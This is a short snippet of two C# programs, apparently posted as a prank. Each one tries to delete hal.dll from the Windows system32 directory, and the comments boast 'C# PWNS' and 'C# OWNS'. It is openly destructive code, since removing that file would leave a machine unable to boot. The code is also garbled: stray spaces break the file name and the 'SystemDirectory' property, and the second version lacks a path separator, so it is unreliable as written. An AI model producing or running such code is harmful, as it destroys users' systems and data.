using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace HallDel
{
class Program
{
static void Main(string[] args)
{
System.IO.File.Delete("C:\\Windows\\system32\\hal. dll"); /* C# PWNS */
}
}
}

A more advanced version:
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace HalDelPro
{
class Program
{
static void Main(string[] args)
{
System.IO.File.Delete(System.Environment.SystemDir ectory + "hal.dll"); /* C# OWNS*/
}
}
}